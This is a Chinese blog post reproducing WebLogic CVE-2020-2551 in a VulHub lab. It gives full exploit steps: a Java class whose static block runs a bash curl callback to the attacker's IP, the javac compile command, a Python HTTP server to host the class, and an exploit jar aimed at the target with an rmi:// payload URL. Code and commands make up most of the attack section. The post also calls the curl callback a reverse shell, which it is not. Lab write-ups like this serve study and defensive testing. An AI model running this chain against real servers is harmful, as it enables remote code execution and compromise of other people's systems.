博客
关于我
Weblogic CVE-2020-2551漏洞复现
阅读量:438 次
发布时间:2019-03-06

本文共 1292 字,大约阅读时间需要 4 分钟。

WebLogic CVE-2020-2551漏洞复现

前言

在一次渗透测试任务中,我意外发现了WebLogic服务器存在一个严重的安全漏洞,即CVE-2020-2551。为了验证漏洞的存在与否,我使用了网络上流传的POC工具进行测试,但未能成功。这让我对漏洞的复现过程产生了浓厚兴趣,于是决定亲自动手复现和利用此漏洞。

漏洞环境

靶机环境:

  • VulHub虚拟环境:vulhub-weblogic-CVE-2017-10271
  • IP地址:172.16.10.26
  • 端口:7001

攻击机环境:

  • 攻击机IP:192.168.82.134

漏洞利用

首先,使用Docker启动一个WebLogic环境,进入路径vulhub/weblogic/CVE-2017-1027,运行以下命令:

docker-compose up -d

使用docker ps命令确认服务是否启动成功:

docker ps

接下来,访问本地的7001端口,页面显示说明服务已成功启动。通过POC工具验证漏洞是否存在,结果表明目标服务器确实存在CVE-2020-2551漏洞。

为了利用此漏洞,我编写了一个Java程序exp.java:

import java.io.IOException;public class exp {    static {        try {            java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.82.134/sangforNP"});        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {    }}

将文件编译:

javac exp.java -source 1.6 -target 1.6

生成exp.class文件后,在当前目录下使用Python启动一个简单的HTTP服务:

python3 -m http.server 80

同时,使用marshalsec启动一个恶意的RMI服务:

java -jar weblogic_CVE_2020_2551.jar 172.16.10.26 7001 rmi://192.168.82.134:1099/exp

观察HTTP服务日志,检查是否出现sangforNP的记录。如果成功,说明已成功获取到反弹shell。

通过对漏洞的深入研究,我在内部网盘上找到了一个完整的利用工具,这让我对WebLogic漏洞的利用有了更深的理解。这次复现让我更加熟悉了WebLogic服务器的安全性,以及如何通过合理的渗透测试发现潜在的安全风险。

免责声明

本文仅用于技术交流和学习,严禁用于非法操作。如您利用文章中介绍的知识对他人造成损失,后果需自行承担。如无法接受此约定,请不要阅读本文。感谢您的理解与配合!

转载地址:http://geakz.baihongyu.com/

你可能感兴趣的文章
Python:从间隔映射到值
查看>>
Python:使用 shell=False 的子进程调用不起作用
查看>>
Python:修改 PATH 环境变量的平台无关方式
查看>>
Python:假与 0
查看>>
Python:函数使用
查看>>
Python:函数进阶
查看>>
Python:在整数的二进制表示中查找最长的二进制间隙
查看>>
Python:如何从二进制转换为 base 64 并返回?
查看>>
Python:如何以非阻塞方式读取子进程的标准输出
查看>>
Python:如何使用 plotly 制作阴影区域或交替背景颜色?
查看>>
Python:如何根据日期时间获取值的计数
查看>>
python:如何检测串行 COM 上的设备名称/ID
查看>>
Python:如何模拟 datetime.utcnow()?
查看>>
Python:如果DataFrames之间的其他值匹配,则对DataFrame中的值求和
查看>>
Python:字典思维
查看>>
Python:将 HEX 字符串转换为字节
查看>>
Python:将列表与范围列表合并
查看>>
Python:将列表列表初始化为一定大小,
查看>>
Python:带有生成器的给定集合的幂集
查看>>
Python:按字符的位置拆分字符串
查看>>